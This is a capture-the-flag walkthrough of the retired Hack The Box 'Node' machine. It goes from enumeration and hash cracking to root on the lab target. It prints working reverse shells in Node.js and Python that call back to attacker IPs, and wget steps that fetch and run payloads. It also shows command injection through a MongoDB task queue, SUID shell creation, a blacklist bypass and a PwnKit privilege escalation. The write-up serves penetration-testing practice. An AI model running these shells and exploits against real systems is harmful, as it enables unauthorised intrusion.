Today we are going to solve another CTF challenge “Node” which is available online for those who want to increase their skill in penetration testing and black box testing. Node is retired vulnerable lab presented by Hack the Box for making online penetration practices according to your experience level; they have the collection of vulnerable labs as challenges from beginners to Expert level.
Level: Intermediate
Task: find user.txt and root.txt file on victim’s machine.
Since these labs are online available therefore they have static IP and IP of sense is 10.10.10.58 so let’s begin with nmap port enumeration.
root@kali:~/htb/node# nmap -sC -sV 10.10.10.58 Starting Nmap 7.70 ( https://nmap.org ) at 2019-01-03 15:37 CET Nmap scan report for 10.10.10.58 Host is up (0.028s latency). Not shown: 998 filtered ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 dc:5e:34:a6:25:db:43:ec:eb:40:f4:96:7b:8e:d1:da (RSA) | 256 6c:8e:5e:5f:4f:d5:41:7d:18:95:d1:dc:2e:3f:e5:9c (ECDSA) |_ 256 d8:78:b8:5d:85:ff:ad:7b:e6:e2:b5:da:1e:52:62:36 (ED25519) 3000/tcp open http Node.js Express framework | hadoop-datanode-info: |_ Logs: /login | hadoop-tasktracker-info: |_ Logs: /login |_http-title: MyPlace Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 36.01 seconds
root@kali:~/htb/node# dirb http://10.10.10.58:3000 -a "Custom Agent" ----------------- DIRB v2.22 By The Dark Raver ----------------- START_TIME: Thu Jan 3 15:39:21 2019 URL_BASE: http://10.10.10.58:3000/ WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt USER_AGENT: Custom Agent ----------------- GENERATED WORDS: 4612 ---- Scanning URL: http://10.10.10.58:3000/ ---- + http://10.10.10.58:3000/assets (CODE:301|SIZE:171) + http://10.10.10.58:3000/uploads (CODE:301|SIZE:173) + http://10.10.10.58:3000/vendor (CODE:301|SIZE:171) ----------------- END_TIME: Thu Jan 3 15:41:56 2019 DOWNLOADED: 4612 - FOUND: 3
Knowing port 3000 is running HTTP on target machine we preferred to explore his IP our browser.
We don’t find anything on the home page so we take a look at the source code of the page and go through javascripts. In one of the javascript we find a link to a page called /api/users/latest.
We open http://10.10.10.58:3000/api/users and find the usernames and passwords in the hash.
[{"_id":"59a7365b98aa325cc03ee51c","username":"myP14ceAdm1nAcc0uNT","password":"dffc504aa55359b9265cbebe1e4032fe600b64475ae3fd29c07d23223334d0af","is_admin":true},{"_id":"59a7368398aa325cc03ee51d","username":"tom","password":"f0e2e750791171b0391b682ec35835bd6a5c3f7c8d1d0191451ec77b4d75f240","is_admin":false},{"_id":"59a7368e98aa325cc03ee51e","username":"mark","password":"de5a1adf4fedcce1533915edc60177547f1057b61b7119fd130e1f7428705f73","is_admin":false},{"_id":"59aa9781cced6f1d1490fce9","username":"rastating","password":"5065db2df0d4ee53562c650c29bacf55b97e231e3fe88570abc9edd8b78ac2f0","is_admin":false}]
We use https://crackstation.net to decode the hashes that we found earlier.
We click on login and use one the username to login with its corresponding password. When we log in we find an option to download the backup. We click on it and it downloads a file called “myplace.backup”.
We try to take a look at the downloaded file and find that it is base64 encoded.
We decode the backup file and find it to be a zip file.
root@kali:~/# cat myplace.backup | base64 --decode > myplace
When we try to unzip the file it asks for a password, so we use fcrackzip to brute-force the zip file using rockyou.txt as wordlist. After brute-forcing the file we find the password; we use this password to unzip the file.
root@kali:~/# fcrackzip -D -p /usr/share/wordlists/rockyou.txt myplace
After unzipping the file we find a file few HTML and javascript files that look like the implementation of node.js. In app.js we find the username and password hash for monogDB.
We use this username and password to login through ssh into the target machine.
root@kali:~/htb/node# ssh mark@10.10.10.58 mark@10.10.10.58's password:5AYRft73VtFpc84k The programs included with the Ubuntu system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. .-. .-'``(|||) ,`\ \ `-`. 88 88 / \ '``-. ` 88 88 .-. , `___: 88 88 88,888, 88 88 ,88888, 88888 88 88 (:::) : ___ 88 88 88 88 88 88 88 88 88 88 88 `-` ` , : 88 88 88 88 88 88 88 88 88 88 88 \ / ,..-` , 88 88 88 88 88 88 88 88 88 88 88 `./ / .-.` '88888' '88888' '88888' 88 88 '8888 '88888' `-..-( ) `-` The programs included with the Ubuntu system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Wed Sep 27 02:33:14 2017 from 10.10.14.3 mark@node:~$ ` mark@node:/home/tom$ ps aux USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND root 1 0.0 0.7 37928 5588 ? Ss 2018 0:10 /sbin/init --snip-- root 1231 0.0 0.7 65520 5904 ? Ss 2018 0:00 /usr/sbin/sshd -D tom 1232 0.0 6.4 1028324 48628 ? Ssl 2018 0:29 /usr/bin/node /var/www/myplace/app.js mongodb 1234 0.4 9.8 284032 74904 ? Ssl 2018 21:08 /usr/bin/mongod --auth --quiet --config /etc/mon
When we take a look at the process running into the system, we find that it is running app.js as tom user.
We open app.js and find the same username and password that we found earlier. It means that its backup was created using some script or program that we find earlier. Going through the file we also find this script calls for a file called backup in /usr/local/bin directory and uses a key to create a backup.
Now that we know that the target machine is running mongoDB we use this to exploit the system and get a reverse shell.
This process is repeated every 30 seconds, indefinitely. As the service is running as tom, this gives the attacker an easy means of escalating to the tom account.
To exploit this, first, the attacker must connect to the mongodb instance using the previously identified credentials by running mongo -p -u mark scheduler
and then entering the password when prompted.
From here, the attacker should simply create a new document in the tasks
collection, with their desired payload as the cmd
property.
mark@node:~$ mongo -p -u mark scheduler
MongoDB shell version: 3.2.16
Enter password:5AYRft73VtFpc84k
connecting to: scheduler
> db.tasks.insert( { "cmd": "/bin/cp /bin/bash /tmp/puckbash; chmod u+s /tmp/puckbash;" } );
WriteResult({ "nInserted" : 1 })
After the scheduler service picks up this task on its next run, a new SUID binary will be in the /tmp
directory:
mark@node:/tmp$ ./puckbash -p
tombash-4.3$ whoami
tom
Or we can use The Node.js
reverse shell
The Javascript code below is a Node.js reverse shell. Remember to change the IP
address and PORT
with the nc
you are running.
root@kali:~/htb/node# cat reverse.js (function(){ var net = require("net"), cp = require("child_process"), sh = cp.spawn("/bin/sh", []); var client = new net.Socket(); client.connect(443, "10.10.14.19", function(){ client.pipe(sh.stdin); sh.stdout.pipe(client); sh.stderr.pipe(client); }); return /a/; // Prevents the Node.js application form crashing })();
root@kali:~/htb/node# python -m SimpleHTTPServer 80 Serving HTTP on 0.0.0.0 port 80 ... 10.10.10.58 - - [03/Jan/2019 18:22:42] "GET /reverse.js HTTP/1.1" 200 -
mark@node:/tmp$ wget http://10.10.14.19/reverse.js --2019-01-03 17:19:33-- http://10.10.14.19/reverse.js Connecting to 10.10.14.19:80... connected. HTTP request sent, awaiting response... 200 OK Length: 381 [application/javascript] Saving to: ‘reverse.js’ reverse.js 100%[===================>] 381 --.-KB/s in 0s 2019-01-03 17:19:33 (41.4 MB/s) - ‘reverse.js’ saved [381/381] mark@node:/tmp$ mongo -u mark -p 5AYRft73VtFpc84k scheduler MongoDB shell version: 3.2.16 connecting to: scheduler > use scheduler switched to db scheduler > show collections tasks > db.tasks.insert({"cmd":"/usr/bin/node /tmp/reverse.js"}); WriteResult({ "nInserted" : 1 })
Alternatively:
mark@node:/tmp$ cat shell.sh python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.8",53));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' mark@node:/tmp$ mongo -p -u mark scheduler MongoDB shell version: 3.2.16 Enter password: 5AYRft73VtFpc84k connecting to: scheduler > mongo -u mark -p 5AYRft73VtFpc84k scheduler 2019-09-11T13:43:45.676+0100 E QUERY [thread1] SyntaxError: missing ; before statement @(shell):1:9 > use scheduler switched to db scheduler > show collections tasks > db.tasks.insertOne( { cmd: "bash /tmp/shell.sh" }); { "acknowledged" : true, "insertedId" : ObjectId("5d78ecb0e390010121399dd1") } >
root@kali:~/htb# rlwrap nc -lvp 53 listening on [any] 53 ... 10.10.10.58: inverse host lookup failed: Unknown host connect to [10.10.14.8] from (UNKNOWN) [10.10.10.58] 49462 /bin/sh: 0: can't access tty; job control turned off $ id uid=1000(tom) gid=1000(tom) groups=1000(tom),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),115(lpadmin),116(sambashare),1002(admin) $ cd /home/tom $ cat user.txt e11*****1b1
User Shell (tom) / Privilege Escalation
Now that the attacker is in the context of tom, they can read user.txt
and start moving on to the root user.
To escalate at this point, the attacker needs to revisit some of the information found previously. Now that there is access to tom, who is part of the admin group, the SUID found in /usr/local/bin
can be accessed; depending on how the shell was accessed.
If it was accessed using a SUID as per the previous section, an additional step will have to be taken, which will be modifying the SUID binary to also set the GID bit; and to change the group owner to admin for example by adding another task in mongodb like this:
db.tasks.insert( { cmd: "/bin/chown tom:admin /tmp/puckbash; chmod g+s /tmp/pucktombash;" } );
Once the GID bit is set, the shell will also inherit the admin group:
puckbash-4.3$ groups
mark admin
The reason this is required is as an earlier section pointed out – the SUID within /usr/local/bin
can only be executed by root and members of the admin group.
Once the attacker has access to this binary, running it with no parameters will result in nothing being output to stdout.
At this point, the attacker can either begin fuzzing the application to find the usage, or can rewind back to the Node.js application that was serving the web application. As this binary is what the Node.js application is using for the backup functionality.
Examining the code in /var/www/myplace/app.js
will show that it’s calling it with the following effective command:
/usr/local/bin/backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 /var/www/myplace
The parameter list, in order from left to right, is:
- The output mode, -q for quiet, or any other string for a verbose output
- The access token
- The directory to archive
Should the user fuzz the application, they’ll not be able to progress without a valid access token:
The access tokens can be found, in plain text, within the /etc/myplace
directory, if the user decides to go the fuzzing route.
From here, there are multiple ways to get the root flag and a root shell.
Method 1 – Using Wildcards (Easy)
The easiest route to getting the root flag, is to use wildcards to work around the blacklisted keywords. If attempting to use the backup tool to backup the /root
directory, users will be presented with a fake backup:
tom@node:/tmp$ /usr/local/bin/backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 /root
[+] Finished! Encoded backup is below:
UEsDBDMDAQBjAG++IksAAAAA7QMAABgKAAAIAAsAcm9vdC50eHQBmQcAAgBBRQEIAEbBKBl0rFrayqfbwJ2YyHunnYq1Za6G7XLo8C3RH/hu0fArpSvYauq4AUycRmLuWvPyJk3sF+HmNMciNHfFNLD3LdkGmgwSW8j50xlO6SWiH5qU1Edz340bxpSlvaKvE4hnK/oan4wWPabhw/2rwaaJSXucU+pLgZorY67Q/Y6cfA2hLWJabgeobKjMy0njgC9c8cQDaVrfE/ZiS1S+rPgz/e2Pc3lgkQ+lAVBqjo4zmpQltgIXauCdhvlA1Pe/BXhPQBJab7NVF6Xm3207EfD3utbrcuUuQyF+rQhDCKsAEhqQ+Yyp1Tq2o6BvWJlhtWdts7rCubeoZPDBD6Mejp3XYkbSYYbzmgr1poNqnzT5XPiXnPwVqH1fG8OSO56xAvxx2mU2EP+Yhgo4OAghyW1sgV8FxenV8p5c+u9bTBTz/7WlQDI0HUsFAOHnWBTYR4HTvyi8OPZXKmwsPAG1hrlcrNDqPrpsmxxmVR8xSRbBDLSrH14pXYKPY/a4AZKO/GtVMULlrpbpIFqZ98zwmROFstmPl/cITNYWBlLtJ5AmsyCxBybfLxHdJKHMsK6Rp4MO+wXrd/EZNxM8lnW6XNOVgnFHMBsxJkqsYIWlO0MMyU9L1CL2RRwm2QvbdD8PLWA/jp1fuYUdWxvQWt7NjmXo7crC1dA0BDPg5pVNxTrOc6lADp7xvGK/kP4F0eR+53a4dSL0b6xFnbL7WwRpcF+Ate/Ut22WlFrg9A8gqBC8Ub1SnBU2b93ElbG9SFzno5TFmzXk3onbLaaEVZl9AKPA3sGEXZvVP+jueADQsokjJQwnzg1BRGFmqWbR6hxPagTVXBbQ+hytQdd26PCuhmRUyNjEIBFx/XqkSOfAhLI9+Oe4FH3hYqb1W6xfZcLhpBs4Vwh7t2WGrEnUm2/F+X/OD+s9xeYniyUrBTEaOWKEv2NOUZudU6X2VOTX6QbHJryLdSU9XLHB+nEGeq+sdtifdUGeFLct+Ee2pgR/AsSexKmzW09cx865KuxKnR3yoC6roUBb30Ijm5vQuzg/RM71P5ldpCK70RemYniiNeluBfHwQLOxkDn/8MN0CEBr1eFzkCNdblNBVA7b9m7GjoEhQXOpOpSGrXwbiHHm5C7Zn4kZtEy729ZOo71OVuT9i+4vCiWQLHrdxYkqiC7lmfCjMh9e05WEy1EBmPaFkYgxK2c6xWErsEv38++8xdqAcdEGXJBR2RT1TlxG/YlB4B7SwUem4xG6zJYi452F1klhkxloV6paNLWrcLwokdPJeCIrUbn+C9TesqoaaXASnictzNXUKzT905OFOcJwt7FbxyXk0z3FxD/tgtUHcFBLAQI/AzMDAQBjAG++IksAAAAA7QMAABgKAAAIAAsAAAAAAAAAIIC0gQAAAAByb290LnR4dAGZBwACAEFFAQgAUEsFBgAAAAABAAEAQQAAAB4EAAAAAA==
Upon decoding and extracting this backup, root.txt
won’t be quite what it seems:
By replacing some characters with wildcards, however, it is possible to evade the blacklist and grab the root flag:
tom@node:/tmp$ /usr/local/bin/backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 /r**t/r**t.txt | base64 -d > root.zip
tom@node:/tmp$ unzip root.zip
Archive: root.zip
[root.zip] root/root.txt password:
extracting: root/root.txt
tom@node:/tmp$ cat root/root.txt
172*****be0
tom@node:/tmp$
Unattended pwnkit exploit to root
https://github.com/puckiestyle/CVE-2021-4034
tom@node:/dev/shm$ wget http://10.10.14.12/cve-2021-4034.elf wget http://10.10.14.12/cve-2021-4034.elf --2022-03-16 09:51:19-- http://10.10.14.12/cve-2021-4034.elf Connecting to 10.10.14.12:80... connected. HTTP request sent, awaiting response... 200 OK Length: 16864 (16K) [application/octet-stream] Saving to: ‘cve-2021-4034.elf’ cve-2021-4034.elf 100%[===================>] 16.47K --.-KB/s in 0.1s 2022-03-16 09:51:19 (161 KB/s) - ‘cve-2021-4034.elf’ saved [16864/16864] tom@node:/dev/shm$ chmod +x cve-2021-4034.elf chmod +x cve-2021-4034.elf tom@node:/dev/shm$ ls -la ls -la total 24 drwxrwxrwt 2 root root 80 Mar 16 09:51 . drwxr-xr-x 20 root root 3980 Mar 16 08:07 .. -rwxr-xr-x 1 tom tom 16864 Mar 16 09:31 cve-2021-4034.elf -rw-r--r-- 1 tom tom 3858 Mar 16 08:59 root.zip tom@node:/dev/shm$ ./cve-2021-4034.elf ./cve-2021-4034.elf # id id uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),115(lpadmin),116(sambashare),1000(tom),1002(admin) # cd /root cd /root # ls ls root.txt # cat root.txt cat root.txt 1722[redacted]6be0 #
Author: Jacco Straathof